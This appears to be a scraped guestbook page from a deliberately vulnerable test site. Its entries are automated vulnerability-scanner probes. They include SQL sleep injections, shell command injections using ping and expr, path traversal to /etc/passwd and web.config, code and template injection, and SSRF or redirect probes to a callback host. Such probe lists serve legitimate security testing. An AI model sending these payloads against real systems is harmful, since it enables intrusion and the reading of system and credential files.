\r\n 8/23/2017 8:07:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

testsparker.com/elmah.axd

\r\n

\r\n 8/23/2017 8:07:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:26 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://testsparker.com/elmah.axd

\r\n

\r\n 8/23/2017 8:07:26 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:26 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:26 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:26 AM\r\n

\r\n

\r\n o010_rdnxu6fs205cii4h6twxrrueb6x78mq9mcvhe0.r87.me\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:26 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

127.0.0.1/trace.axd

\r\n

\r\n 8/23/2017 8:07:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

::1/trace.axd

\r\n

\r\n 8/23/2017 8:07:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

127.100.11.2/trace.axd

\r\n

\r\n 8/23/2017 8:07:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

54.204.37.212/trace.axd

\r\n

\r\n 8/23/2017 8:07:24 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:24 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

testsparker.com/trace.axd

\r\n

\r\n 8/23/2017 8:07:24 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:24 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://r87.me/r/?id=o010_rdnxul9hklnexxypyeyuaiuqs3ia7je9ravkyo

\r\n

\r\n 8/23/2017 8:07:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://r87.me/r/?id=o010_rdnxurgpam8tzujbtumegwkkdc6fvw267oylwm

\r\n

\r\n 8/23/2017 8:07:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://testsparker.com/trace.axd

\r\n

\r\n 8/23/2017 8:07:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

//o010_rdnxugbohtojdn6hayvvw3i1q1w1-323odja3y.r87.me

\r\n

\r\n 8/23/2017 8:07:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

https://testsparker.com.r87.com/?

\r\n

\r\n 8/23/2017 8:07:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

//o010_rdnxubkktim9opehzsbyouvagdoce2diynegna.r87.me

\r\n

\r\n 8/23/2017 8:07:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://testsparker.com.r87.com/?

\r\n

\r\n 8/23/2017 8:07:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

o010_rdnxullmel2s_uzeaetww76tid6qsfrdpkiivi.r87.me

\r\n

\r\n 8/23/2017 8:07:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

testsparker.com.r87.com/?

\r\n

\r\n 8/23/2017 8:07:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

o010_rdnxu2syv-e7387wz5qeblecfvbiz3hnfsmhp4.r87.me

\r\n

\r\n 8/23/2017 8:07:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:07:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

///r87.com/?testsparker.com/

\r\n

\r\n 8/23/2017 8:07:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/\\r87.com/?testsparker.com/

\r\n

\r\n 8/23/2017 8:07:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:21 AM\r\n

\r\n

\r\n ]>&lfi;\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:20 AM\r\n

\r\n

\r\n ]>&lfi;\r\n

\r\n
\r\n

r87.com/?https://testsparker.com/

\r\n

\r\n 8/23/2017 8:07:20 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

r87.com/?http://testsparker.com/

\r\n

\r\n 8/23/2017 8:07:20 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:20 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:19 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:19 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:19 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

]>&lfi;

\r\n

\r\n 8/23/2017 8:07:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

]>&lfi;

\r\n

\r\n 8/23/2017 8:07:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

r87.com/?testsparker.com/

\r\n

\r\n 8/23/2017 8:07:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

//r87.com/?http://testsparker.com/

\r\n

\r\n 8/23/2017 8:07:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://r87.com/?testsparker.com/

\r\n

\r\n 8/23/2017 8:07:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:16 AM\r\n

\r\n

\r\n ns:netsparker056650=vuln\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:16 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:16 AM\r\n

\r\n

\r\n #{28275*28275-(13)}\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:15 AM\r\n

\r\n

\r\n ns:netsparker056650=vuln\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:15 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:15 AM\r\n

\r\n

\r\n ${28275*28275-(13)}\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:15 AM\r\n

\r\n

\r\n http://example.com/?\r\nns: netsparker056650=vuln\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:15 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://r87.com/?testsparker.com/

\r\n

\r\n 8/23/2017 8:07:14 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:14 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:14 AM\r\n

\r\n

\r\n ns:netsparker056650=vuln\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

#{28275*28275-(13)}

\r\n

\r\n 8/23/2017 8:07:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

${28275*28275-(13)}

\r\n

\r\n 8/23/2017 8:07:11 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:11 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:11 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:11 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:10 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:10 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:10 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:10 AM\r\n

\r\n

\r\n r87.com/n\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:09 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:05 AM\r\n

\r\n

\r\n php://filter//resource=http://r87.com/n?\u0000.aspx\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:04 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:04 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:04 AM\r\n

\r\n

\r\n http://r87.com/n?.aspx\r\n

\r\n
\r\n

ns:netsparker056650=vuln

\r\n

\r\n 8/23/2017 8:07:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:03 AM\r\n

\r\n

\r\n http://r87.com/n?\u0000.aspx\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:02 AM\r\n

\r\n

\r\n hTTp://r87.com/n\r\n

\r\n
\r\n

ns:netsparker056650=vuln

\r\n

\r\n 8/23/2017 8:07:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://example.com/?\r\nns: netsparker056650=vuln

\r\n

\r\n 8/23/2017 8:07:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

ns:netsparker056650=vuln

\r\n

\r\n 8/23/2017 8:07:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"+print localtime()*0+0xFFF9999-22+\"

\r\n

\r\n 8/23/2017 8:07:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'+print localtime()*0+0xFFF9999-22+'

\r\n

\r\n 8/23/2017 8:06:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:59 AM\r\n

\r\n

\r\n -1\" or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+\"\r\n

\r\n
\r\n

eval('print localtime()*0+0xFFF9999-22')

\r\n

\r\n 8/23/2017 8:06:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

print localtime()*0+0xFFF9999-22

\r\n

\r\n 8/23/2017 8:06:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:59 AM\r\n

\r\n

\r\n -1 or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

[php]print(int)0xFFF9999-22;[/php]

\r\n

\r\n 8/23/2017 8:06:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'{${print(int)0xFFF9999-22}}'

\r\n

\r\n 8/23/2017 8:06:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

{php}print(int)0xFFF9999-22;{/php}

\r\n

\r\n 8/23/2017 8:06:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:06:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:57 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"+print(int)0xFFF9999-22+\"

\r\n

\r\n 8/23/2017 8:06:57 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:57 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'+print(int)0xFFF9999-22+'

\r\n

\r\n 8/23/2017 8:06:57 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

+print(int)0xFFF9999-22;//

\r\n

\r\n 8/23/2017 8:06:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:56 AM\r\n

\r\n

\r\n -1' or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

print(int)0xFFF9999-22;

\r\n

\r\n 8/23/2017 8:06:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Guestbook.aspx\u0000

\r\n

\r\n 8/23/2017 8:06:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

print(int)0xFFF9999-22

\r\n

\r\n 8/23/2017 8:06:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

r87.com/n

\r\n

\r\n 8/23/2017 8:06:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Guestbook.aspx

\r\n

\r\n 8/23/2017 8:06:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

php://filter//resource=http://r87.com/n?\u0000.aspx

\r\n

\r\n 8/23/2017 8:06:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

data:;base64,TlM3NzU0NTYxNDQ2NTc1

\r\n

\r\n 8/23/2017 8:06:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://r87.com/n?.aspx

\r\n

\r\n 8/23/2017 8:06:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

<% response.write(268409241-22) %>

\r\n

\r\n 8/23/2017 8:06:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

\r\n

\r\n 8/23/2017 8:06:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"+response.write(268409241-22)+\"

\r\n

\r\n 8/23/2017 8:06:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/etc/passwd

\r\n

\r\n 8/23/2017 8:06:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

+response.write(268409241-22)'

\r\n

\r\n 8/23/2017 8:06:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../../etc/passwd

\r\n

\r\n 8/23/2017 8:06:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

response.write(268409241-22)'

\r\n

\r\n 8/23/2017 8:06:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

....//....//....//....//....//....//....//....//....//....//....//etc/passwd

\r\n

\r\n 8/23/2017 8:06:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://r87.com/n?\u0000.aspx

\r\n

\r\n 8/23/2017 8:06:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../../etc/passwd\u0000.aspx

\r\n

\r\n 8/23/2017 8:06:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../../etc/passwd\u0000

\r\n

\r\n 8/23/2017 8:06:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:52 AM\r\n

\r\n

\r\n '+((SELECT 1 FROM (SELECT SLEEP(25))A))+'\r\n

\r\n
\r\n

hTTp://r87.com/n

\r\n

\r\n 8/23/2017 8:06:52 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

file:///etc/passwd

\r\n

\r\n 8/23/2017 8:06:52 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../../etc/passwd

\r\n

\r\n 8/23/2017 8:06:52 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:52 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:51 AM\r\n

\r\n

\r\n ((SELECT 1 FROM (SELECT SLEEP(25))A))\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:51 AM\r\n

\r\n

\r\n |expr${IFS}268409241${IFS}-${IFS}2\r\n

\r\n
\r\n

/../../../../../../../../../../proc/version\u0000.aspx

\r\n

\r\n 8/23/2017 8:06:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:51 AM\r\n

\r\n

\r\n 1));SELECT pg_sleep(25)--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:50 AM\r\n

\r\n

\r\n '));SELECT pg_sleep(25)--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:50 AM\r\n

\r\n

\r\n expr 268409241 - 2\r\n

\r\n
\r\n

/../../../../../../../../../../proc/version

\r\n

\r\n 8/23/2017 8:06:50 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:50 AM\r\n

\r\n

\r\n ping -c 25 127.0.0.1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:49 AM\r\n

\r\n

\r\n expr 268409241 - 2 &\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:49 AM\r\n

\r\n

\r\n ping -n 25 127.0.0.1\r\n

\r\n
\r\n

/../../../../../../../../../../var/log/apache/error.log

\r\n

\r\n 8/23/2017 8:06:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:49 AM\r\n

\r\n

\r\n ');SELECT pg_sleep(25)--\r\n

\r\n
\r\n

/../../../../../../../../../../var/log/apache2/error.log

\r\n

\r\n 8/23/2017 8:06:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../etc/httpd/logs/error_log

\r\n

\r\n 8/23/2017 8:06:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:48 AM\r\n

\r\n

\r\n 1);SELECT pg_sleep(25)--\r\n

\r\n
\r\n

/../../../../../../../../../../etc/httpd/logs/error.log

\r\n

\r\n 8/23/2017 8:06:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:48 AM\r\n

\r\n

\r\n SELECT pg_sleep(25)--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:48 AM\r\n

\r\n

\r\n ping -c 25 127.0.0.1 &\r\n

\r\n
\r\n

/../../../../../../../../../../proc/self/fd/2\u0000.aspx

\r\n

\r\n 8/23/2017 8:06:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:47 AM\r\n

\r\n

\r\n 1;SELECT pg_sleep(25)--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:47 AM\r\n

\r\n

\r\n &ping -c 25 127.0.0.1 &\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:47 AM\r\n

\r\n

\r\n ';SELECT pg_sleep(25)--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:47 AM\r\n

\r\n

\r\n '&ping -c 25 127.0.0.1 &'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:46 AM\r\n

\r\n

\r\n 1 + (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) + 1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:46 AM\r\n

\r\n

\r\n \"&ping -c 25 127.0.0.1 &\"\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:46 AM\r\n

\r\n

\r\n 1' || (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) || '\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:46 AM\r\n

\r\n

\r\n ping -n 25 127.0.0.1 &\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:45 AM\r\n

\r\n

\r\n (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual)\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:45 AM\r\n

\r\n

\r\n & ping -n 25 127.0.0.1 &\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:45 AM\r\n

\r\n

\r\n ((select sleep(25)))a-- 1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:45 AM\r\n

\r\n

\r\n '& ping -n 25 127.0.0.1 &\r\n

\r\n
\r\n

/../../../../../../../../../../proc/self/fd/2

\r\n

\r\n 8/23/2017 8:06:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:44 AM\r\n

\r\n

\r\n -1 AND ((SELECT 1 FROM (SELECT 2)a WHERE 1=sleep(25)))-- 1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:44 AM\r\n

\r\n

\r\n \"& ping -n 25 127.0.0.1 &\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:43 AM\r\n

\r\n

\r\n ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|\"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR\"*/\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../windows/iis6.log

\r\n

\r\n 8/23/2017 8:06:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

//r87.com/?0x003DBA

\r\n

\r\n 8/23/2017 8:06:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

....//....//....//....//....//....//....//....//....//....//....//windows\\win.ini

\r\n

\r\n 8/23/2017 8:06:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

//r87.com/?0x003DB9

\r\n

\r\n 8/23/2017 8:06:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

c:\\windows\\win.ini

\r\n

\r\n 8/23/2017 8:06:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:42 AM\r\n

\r\n

\r\n &expr 268409241 - 2 &\r\n

\r\n
\r\n

/../../../../../../../../../../windows/win.ini\u0000.aspx

\r\n

\r\n 8/23/2017 8:06:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

file:/windows/win.ini

\r\n

\r\n 8/23/2017 8:06:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../windows/win.ini

\r\n

\r\n 8/23/2017 8:06:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:41 AM\r\n

\r\n

\r\n '&expr 268409241 - 2 &'\r\n

\r\n
\r\n

/../../../../../../../../../../web.config

\r\n

\r\n 8/23/2017 8:06:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:41 AM\r\n

\r\n

\r\n \"&expr 268409241 - 2 &\"\r\n

\r\n
